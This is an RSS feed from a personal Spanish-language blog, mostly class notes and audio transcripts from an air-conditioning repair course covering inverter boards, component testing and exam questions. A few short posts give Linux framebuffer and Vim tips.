corrector de factor de potencia es del modo estático como este varía la velocidad del motor entonces el constantemente tiene que estar corrigiendo el factor de potencia, el transistor junto con el integrado va tomando la señal y va tomando el consumo y van corrigiendo el factor de potencia. Acá no hay maestro esclavo, son independientes las placas. Tiene 3 placas, la 3era es el banco de capacitores. Cuando es un equipo grande tiene una diferente conexión sino se conecta igual que el otro. Medir optoacoplador: De un lado te mide como un diodo como un fototransistor. El punto marca de que lado está el diodo. Para un lado marca 1,047 para el otro lado no te tiene que marcar nada (a veces marca porque estás midiendo mal otra cosa). El motocompresor puede cortar por temperatura pero es improbable antes se te va a dañar el IPM (hay que cambiar la parta térmica). El IPM es un módulo inteligente de potencia. Lo que tiene el IPM son 6 transistores IGBT que manejan a las bobinas del motor, desde el módulo del IPM podemos medir los 310 voltios entre positivo y negativo. Los 310 voltios que sería la entrada y nos queda una tensión de 15 voltios que estará también en el módulo que va a excitar a los transistores para que vaya dándole señal a las diferentes bobinas, el procesador le va a ir mostrando a qué bobina tiene que energizar. El va a ir dando diferentes pulsos a diferentes bobinas para que el motor funcione y también va a ir variando la frecuencia más o menos ancho de pulso para que el motor baje o aumente la velocidad esa parte del circuito se llama PWN (modulación por ancho de pulso) también está puesta acá. Cuando la unidad interior le pide a través del cable de señal más potencia porque hace más temperatura el circuito PWN le va dando más frecuencia. Entonces nosotros acá tenemos los IGBT los transistores esto está todo encapsulado podemos medir los 310 voltios y podemos medir los 15 voltios que esté presente para que energize a los transistores si esas tensiones no están no funcionará el compresor o se les va a cortar, esa tensión ustedes pueden medirla con el equipo funcionando negativo y buscar la tensión, si están esas tensiones y no funciona entonces es problema del IPM. Cada 2 IGBT por cada bobina, ellos están cerrados los 15 voltios energiza el transistor hace conducir a través de la bobina y cierra el circuito. Necesitamos los pulsos de 15 voltios constantes. Probador conectá las dos pinzas de cocodrilo U,V,W y les marcará los leds. En esta placa nos encontraremos con 5 cables en el forzador de la unidad exterior si es inverter si es que tiene U,V, y W porque a veces usan de corriente alterna. Color de cables al final. 5 cables: blanco: alimentación excita los IGBT, amarillo: el que le dice a que velocidad girar al micro y azul: el que le informa a que velocidad está girando. Ya saben como medir el cable de señal, para saber si tenemos o no en el equipo medir el voltaje y si no tenemos medimos el optoacoplador para saber en qué condición está el optoacoplador es un diodo emisor de luz que del otro lado tiene un fotoreceptor. Medir relay: El relay tiene una bobina y cuando la bobina se energiza esto se conecta y acá hay continuidad cuando la bobina se desconecta esto se abre y se despega, a veces suele pasar que al tener contacto se forma una chispa y el relay queda pegado. Pero si el relay está dañado algún componente se te va a dañar, si ves algún componente dañado relacionado con el relay revisá la bobina. Según el profesor por buscar la falla no se cobra (en mi opinión nunca le tenés que decir al cliente cuál es la falla porque hay mucha gente que googlea y lo arreglan ellos)
https://imlauera.github.io/clase22_aires_adicional/
Sun, 15 Dec 2024 04:15:33 -0300
https://imlauera.github.io/clase22_aires_adicional/
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/16n8De5RYP7x">https://vocaroo.com/16n8De5RYP7x</a></p>
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=T-g1ASyonHk">https://www.youtube.com/watch?v=T-g1ASyonHk</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=T-g1ASyonHk">https://redirect.invidious.io/watch?v=T-g1ASyonHk</a></p>
<h3 id="audio-observación-de-mi-padre">Audio observación de mi padre:</h3>
<p><a href="https://imlauer.blogspot.com/2024/12/inverter-aire-acondicionado-teoria.html">https://imlauer.blogspot.com/2024/12/inverter-aire-acondicionado-teoria.html</a></p>
<h3 id="fotos">Fotos: <a href="https://imlauer.blogspot.com/2024/12/clase-22-adicional-aire-acondicionado.html">https://imlauer.blogspot.com/2024/12/clase-22-adicional-aire-acondicionado.html</a></h3>
<p>Dato de mi padre: Si te da una patada el capacitor significa que el diodo está rectificando XD.</p>
<h3 id="transcripción">Transcripción</h3>
<p>No sé cuanto ustedes saben de inverter, si trabajaron con algún equipo con tecnología inverter si nunca lo vieron, no hay tener verguenza ni miedo.</p>
<p>Alumno: Lo más importante es la puesta a tierra, si o si jabalina a tierra.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 22) - Inverter. Profesor Siri.
https://imlauera.github.io/clase22_aires/
Sun, 15 Dec 2024 04:15:33 -0300
https://imlauera.github.io/clase22_aires/
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/1jVS2fqiaZ4T">https://vocaroo.com/1jVS2fqiaZ4T</a></p>
<h4 id="sin-examen">Sin examen</h4>
<p><a href="https://vocaroo.com/18aT4X3AQ0wQ">https://vocaroo.com/18aT4X3AQ0wQ</a></p>
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=K5KxiKldrNs">https://www.youtube.com/watch?v=K5KxiKldrNs</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=K5KxiKldrNs">https://redirect.invidious.io/watch?v=K5KxiKldrNs</a></p>
<h3 id="fotos">Fotos: <a href="https://imlauer.blogspot.com/2024/12/clase-22-aire-acondicionado-inverter.html">https://imlauer.blogspot.com/2024/12/clase-22-aire-acondicionado-inverter.html</a></h3>
<h3 id="transcripción-del-audio-minuto-32-ignoré-partes-que-no-se-relacionan-con-la-teoría">Transcripción del audio (Minuto 32) Ignoré partes que no se relacionan con la teoría.</h3>
<p>Vamos a charlar sobre que es un inverter, diferentes plaquetas, como funciona un inverter, la diferencia entre un on/off (convencional) y un inverter. A las 13 viene un técnico electrónico que enseñará a reparar placas inverter a poner los principales componentes que debemos cambiar cuando hay problemas, toda la parte electrónica traten de sacarle el máximo provecho.</p>
-
Run program at Tmux start
https://imlauera.github.io/run_program_at_tmux_start/
Sat, 14 Dec 2024 03:48:26 -0300
https://imlauera.github.io/run_program_at_tmux_start/
<p><a href="https://unix.stackexchange.com/questions/354762/how-to-execute-a-command-by-default-starting-tmux">https://unix.stackexchange.com/questions/354762/how-to-execute-a-command-by-default-starting-tmux</a></p>
-
Record framebuffer
https://imlauera.github.io/record_framebuffer/
Fri, 13 Dec 2024 19:23:48 -0300
https://imlauera.github.io/record_framebuffer/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f fbdev -framerate <span style="color:#ae81ff">10</span> -i /dev/fb0 output.mkv
</span></span></code></pre></div>
-
Conectar ventilador y motocompresor de un Aire Acondicionado
https://imlauera.github.io/conectar_ventilador_motocompresor/
Sun, 08 Dec 2024 23:38:42 -0300
https://imlauera.github.io/conectar_ventilador_motocompresor/
<p>Medir con el multímetro los terminales del motocompresor obtener línea, arranque y trabajo (las dos resistencias más grandes son arranque, los dos más chicos son línea y el que sobra es el trabajo). Lo mismo hacer con los cables del ventilador(forzador) identificar cual es L,A,T.</p>
<p>Hay 2 líneas distintas, una va directa al motocompresor y otra va directa al ventilador.</p>
<h4 id="procedimiento-si-usas-2-capacitores-un-capacitor-para-el-motocompresor-y-otro-chiquito-cuadrado-para-el-ventilador">Procedimiento si usas 2 capacitores: un capacitor para el motocompresor y otro chiquito cuadrado para el ventilador.</h4>
<p>Necesitamos 2 cablecitos adicionales: uno para conectar el arranque del motocompresor al capacitor, y otro para conectar el neutro del capacitor al trabajo del motocompresor.</p>
-
Ejecutar qutebrowser en framebuffer
https://imlauera.github.io/qutebrowser_framebuffer/
Sun, 08 Dec 2024 18:39:44 -0300
https://imlauera.github.io/qutebrowser_framebuffer/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>linuxfb
</span></span><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>linuxfb:offset<span style="color:#f92672">=</span>900x130:size<span style="color:#f92672">=</span>768x600
</span></span><span style="display:flex;"><span>qutebrowser
</span></span></code></pre></div><p>O usando también: <code>export QT_QPA_PLATFORM=eglfs</code></p>
<p><strong>Cambiar el keymap:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S ckbcomp
</span></span><span style="display:flex;"><span>ckbcomp -layout xx > xx.kmap
</span></span><span style="display:flex;"><span>O tomá un keymap desde acá: /usr/share/kbd/keymaps/i386/qwertz
</span></span><span style="display:flex;"><span>kmap2qmap xx.kmap xx.qmap
</span></span><span style="display:flex;"><span>QWS_KEYBOARD<span style="color:#f92672">=</span><span style="color:#e6db74">"TTY:keymap=xx.qmap"</span>
</span></span></code></pre></div><p><strong>Compilá kmap2qmap desde acá:</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/qt/qttools
</span></span><span style="display:flex;"><span>cd qttools
</span></span><span style="display:flex;"><span>mkdir build
</span></span><span style="display:flex;"><span>cmake ..
</span></span></code></pre></div><p>Y agregá en <code>.bashrc</code> o en <code>.config/fish/config.fish</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>linuxfb:offset<span style="color:#f92672">=</span>900x130:size<span style="color:#f92672">=</span>768x600:keymap<span style="color:#f92672">=</span>es.qmap
</span></span></code></pre></div><h3 id="ojoo">OJOO!!!</h3>
<p>Asegurarte de bajar el qttools para la versión de tu QT.
Ejemplo de error:</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 21) - Preguntas de examen. Conexión de placa aire acondicionado: Por pulsos y por relay.
https://imlauera.github.io/clase21_aires/
Sat, 07 Dec 2024 19:29:30 -0300
https://imlauera.github.io/clase21_aires/
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/1ke1UfNCgBqz">https://vocaroo.com/1ke1UfNCgBqz</a></p>
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=5HIIDWHK4nU">https://www.youtube.com/watch?v=5HIIDWHK4nU</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=5HIIDWHK4nU">https://redirect.invidious.io/watch?v=5HIIDWHK4nU</a></p>
<h3 id="fotos">Fotos: <a href="https://imlauer.blogspot.com/2024/12/clase-21-aires-acondicionados-placa-con.html">https://imlauer.blogspot.com/2024/12/clase-21-aires-acondicionados-placa-con.html</a></h3>
<p><img src="https://imlauera.github.io/img/aires/clase21_aires.jpg" alt="Placa con capacitor identificar L,A,T"></p>
<p><img src="https://imlauera.github.io/img/aires/clase21_aires2.jpg" alt="Conexiones"></p>
<p>El octoacoplador no asocia la electricidad aisla, porque del otro lado está manejado por el micro, del otro lado tenés 220.</p>
<h3 id="transcripción-empiezo-minuto-15">Transcripción (Empiezo minuto 15)</h3>
<p>La clase que viene daremos inverter.</p>
<p>Vamos a empezar con plaqueta: para pulsos y para relay.</p>
<p>La placa a pulsos viene con un sistema de variación de voltaje para disminuir o aumentar su velocidad, si agarrás el control remoto y ponés baja media alta de esa forma mediante la intensidad del voltaje disminuye o aumenta la velocidad por eso se llama placa a pulsos.</p>
-
Crear juego multiple choice simple: descargar pdf's de scribd, pasarlos a texto y luego usar vim records para cambiar el formato
https://imlauera.github.io/crear_multiple_choice_scribd/
Mon, 02 Dec 2024 20:40:22 -0300
https://imlauera.github.io/crear_multiple_choice_scribd/
<p>Ya expliqué como <a href="https://imlauera.github.io/scribd_downloader/">descargar pdfs de scribd sin tener que registrarse</a>, ahora descargamos <code>pdftotext</code> usando el comando: <code>pacman -S pdftotext</code> luego copiamos y pegamos y lo pasamos al formato deseado.</p>
-
Vim record
https://imlauera.github.io/vim_record/
Mon, 02 Dec 2024 20:39:16 -0300
https://imlauera.github.io/vim_record/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">" Recording (BEST TIP of ALL)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">qq # record to q
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">your complex series of commands
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">q # end recording
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">@q to execute
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">@@ to Repeat
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">5@@ to Repeat 5 times
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">qQ@qq : Make an existing recording q recursive *N*
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span> editing a register/recording
</span></span><span style="display:flex;"><span><span style="color:#e6db74">"qp :display contents of register q (normal mode)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"><ctrl-R>q :display contents of register q (insert mode)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">"</span> you can now see recording contents, edit as required
</span></span><span style="display:flex;"><span><span style="color:#e6db74">"qdd :put changed contacts back into q
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">@q :execute recording/register q
</span></span></span></code></pre></div>
-
Aires Acondicionados PDFs de Cuestionarios y Teorías de Scribd
https://imlauera.github.io/aires_pdf/
Mon, 02 Dec 2024 14:35:29 -0300
https://imlauera.github.io/aires_pdf/
<p><a href="https://imlauera.github.io/files/aires/aa/pdf/89Documents_Downloader.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/aire.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/cuestionario-de-refrigeracion_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/Documents_Downloader9.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/Documents_Downloader.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/Documents_Downlokader.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/hjk.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-banco-de-preguntas-de-refrigeracion_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-cuestionario-aire-acondicionado-y-refregeracion_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-cuestionario-aire-acondicionado-y-refregeracion-parcial-3-b_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-cuestionario-de-refrigeracion_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines52021a-2do-examen-refrigeracion-y-aire-acondicionado-rac-a-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/banco_de_preguntas.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5cuestionario-de-ciclo-basico-de-refrigeracion-doc-reparado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5cuestionario-de-la-leccion-1-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5cuestionario-de-la-leccion-3-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5cuestionario-resuelto-complexivo-sistemas-de-aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5cuestionario-sobre-refrigeracion-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5curso-de-aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5el-condensador-taller-de-refrigeracion-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-6-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-corregido-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-de-eta-500-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-de-refrigeracion-y-aire-acondicionado-d-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-final-aa-2017-i-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-final-de-aire-acondiconado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-final-p-div_compress.pdf">documento</a><br>
<a href="'/files/aires/aa/pdf/examen_para_tecnico.pdf'">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-para-tecnico-en-aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-parcial-refrigeracion-y-aire-mn374-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-refrigeracion-pdf-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-resuelto-unidad-2-refrigeracion-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5examen-tecnico-operador-de-mantenimiento-para-el-sistema-de-refrigeracion-y-aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5ii-evaluacion-aire-acondicionado-pdf-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5las-preguntas-de-refrigeracion-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5preguntas-sobre-aire-acondicionado-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5preguntas-y-respuestas-refrigeracion-basica-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5refrigeracion-y-aire-acondicionado-preguntas-de-examen-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-div-class-2qs3tf-truncatedtext-module-wrapper-fg1km9p-classtruncatedtext-module-lineclamped-85ulhh-style-max-lines5trabajo-practico-evaluativo-refrigeracion-y-aires-acondicionados-p-div_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-examen-aire-acondicionado_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-examen-de-refrigeracion-y-aire-acondicionado-d_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-examen-diagnostico-repara-equipos-de-aire-acondicionado_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-examen-para-tecnico-en-aire-acondicionado_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/pdf-refrigeracion-y-aire-acondicionado-preguntas-de-examen_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/preguntas-sobre-aire-acondicionado_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/tarjeta-de-aire-acondicionado_compress.pdf">documento</a><br>
<a href="https://imlauera.github.io/files/aires/aa/pdf/yDocuments_Downloader.pdf">documento</a></p>
-
Scribd downloader
https://imlauera.github.io/scribd_downloader/
Sun, 01 Dec 2024 01:49:29 -0300
https://imlauera.github.io/scribd_downloader/
<p>Scribd es una página en donde subir documentos académicos, pero hacen todo lo posible para que no puedas descargar o no puedas leer el PDF sin haber ingresado a tu cuenta o registrarte. Además que luego de registrarse es necesario subir 3 archivos para poder descargar 1.</p>
<p>Aún así entiendo su modelo de negocio no me parece mal que quieran ganar plata, pero es muy agresivo.</p>
<p>Acá hay una página para bajar los documentos de ese sitio sin tener que registrarte:</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 20) - Preguntas de examen. Diagrama placa aire acondicionado: Por pulsos y por relay. Comprar tablerito para probar placa.
https://imlauera.github.io/clase20_aires/
Sat, 30 Nov 2024 12:29:38 -0300
https://imlauera.github.io/clase20_aires/
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/1lMKm7jBm17G">https://vocaroo.com/1lMKm7jBm17G</a></p>
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=5-TSjvdLMFA">https://www.youtube.com/watch?v=5-TSjvdLMFA</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=5-TSjvdLMFA">https://redirect.invidious.io/watch?v=5-TSjvdLMFA</a></p>
<p>PDF: <a href="https://imlauera.github.io/files/aires/Clases_230206_123534.pdf">Resumen de todo lo dado en clase</a></p>
<h2 id="fotos">FOTOS: <a href="https://imlauer.blogspot.com/2024/11/clase-20-aires-acondicionados-placa-con.html">https://imlauer.blogspot.com/2024/11/clase-20-aires-acondicionados-placa-con.html</a></h2>
<h3 id="notas-de-clase">Notas de clase:</h3>
<p>Preguntas de exámen en el:</p>
<ul>
<li>Minuto 45:15</li>
<li>Minuto 55:00 (antes)</li>
<li>Hora 01:25:01</li>
</ul>
<h3 id="transcripción-desde-minuto-0452-la-teoría-empieza-en-el-minuto-16">Transcripción (Desde minuto 04:52) La teoría empieza en el minuto 16.</h3>
<p>Algunos aires de ventana no traen tornillo traen seguritos, tenés que tener un cuidado para que no se rompa nada, uno que se rompa queda todo traqueteado.</p>
-
Android casi brickeado
https://imlauera.github.io/android_casi_brikeado/
Sat, 30 Nov 2024 02:32:23 -0300
https://imlauera.github.io/android_casi_brikeado/
<p>Borré el teclado, no tenía los botones ni de encendido ni para bajar el volumen así que no podía bootear al fastboot, no podía loguearme porque no aparecía el teclado, no podía conectarme por Bluetooth, tampoco no tenía cuenta de invitado habilitada.</p>
<h4 id="solución">Solución:</h4>
<p>Formatear celular desde google “find my device android”.</p>
<p>La única vez en mi vida que dí gracias a la puerta trasera de Google.</p>
<p>Luego tuve que volver a <a href="https://imlauera.github.io/post/como_encender_android_sin_boton/">configurar tu Android para que automáticamente prenda al conectarlo al cargador</a></p>
-
Test exámen final de aires acondicionados
https://imlauera.github.io/post/test_airesacondicionados/
Fri, 29 Nov 2024 13:11:32 -0300
https://imlauera.github.io/post/test_airesacondicionados/
<p><img src="https://imlauera.github.io/img/15_clase_aires/IMG-20241026-WA0000.jpg" alt="capacitor"></p>
<p>1clase: <a href="https://www.revisely.com/quiz/wfskC">https://www.revisely.com/quiz/wfskC</a> <br>
2clase: <a href="https://www.revisely.com/quiz/1ZwM1">https://www.revisely.com/quiz/1ZwM1</a> <br>
3clase: <a href="https://www.revisely.com/quiz/K7lsV">https://www.revisely.com/quiz/K7lsV</a> <br>
4clase: <a href="https://www.revisely.com/quiz/MpYmN">https://www.revisely.com/quiz/MpYmN</a> <br>
5clase: <a href="https://www.revisely.com/quiz/jWj4A">https://www.revisely.com/quiz/jWj4A</a> <a href="https://www.revisely.com/quiz/AILR6">https://www.revisely.com/quiz/AILR6</a> <br>
6clase: <a href="https://www.revisely.com/quiz/EFLoh">https://www.revisely.com/quiz/EFLoh</a> <br>
7clase: <a href="https://www.revisely.com/quiz/eHlCc">https://www.revisely.com/quiz/eHlCc</a> <br>
8clase: <a href="https://www.revisely.com/quiz/f40U7">https://www.revisely.com/quiz/f40U7</a> <br>
9clase: Clase práctica<br>
10clase: Clase práctica<br>
11clase: Clase práctica<br>
12clase: Clase práctica<br>
13clase: <a href="https://www.revisely.com/quiz/FN9Qr">https://www.revisely.com/quiz/FN9Qr</a><br>
14clase: <a href="https://www.revisely.com/quiz/aNP7m">https://www.revisely.com/quiz/aNP7m</a><br>
15clase: <a href="https://www.revisely.com/quiz/J2Wsc">https://www.revisely.com/quiz/J2Wsc</a><br>
16clase: <br>
17clase: <br>
18clase: <br>
19clase: <br>
20clase:</p>
<div class='quizdown'>
---
primary_color: blue
secondary_color: lightgray
text_color: black
shuffle_questions: false
shuffle_answers: false
---
### Diferencia entre caño de baja presión y caño de retorno?
- [ ] Caño de Baja Presión: Transporta refrigerante gaseoso desde el evaporador hacia el compresor, operando a baja presión.
- [ ] Caño de Retorno: Específicamente lleva el refrigerante gaseoso de vuelta al compresor para completar el ciclo.
### Pregunta examen: Como debo chequear un equipo de refrigerante en el caso de que tenga pérdida
- [ ] En el caso de que tenga pérdida hay que presurizar la cañería con oxígeno (está mal porque el oxígeno es inflamable con el aceite)
- [ ] Inspección visual: buscar rastros de aceite, detección de agua con burbujas o agua jabonosa: llena el sistema de enfriamiento con nitrógeno a presión de 10-20 kg /cm2 y luego junte varias partes de sistema con agua jabonosa. El burbujeo es el punto de fuga.
- [ ] Detección de agua con nitrógeno: llene el sistema con nitrógeno a presión 10-20 kg / cm2 y enjabonéelo con agua, el burbujeo es el punto de fuga. Un inconveniente: el agua puede ingresar al sistema. El gas a alta presión puede causar daños al sistema.
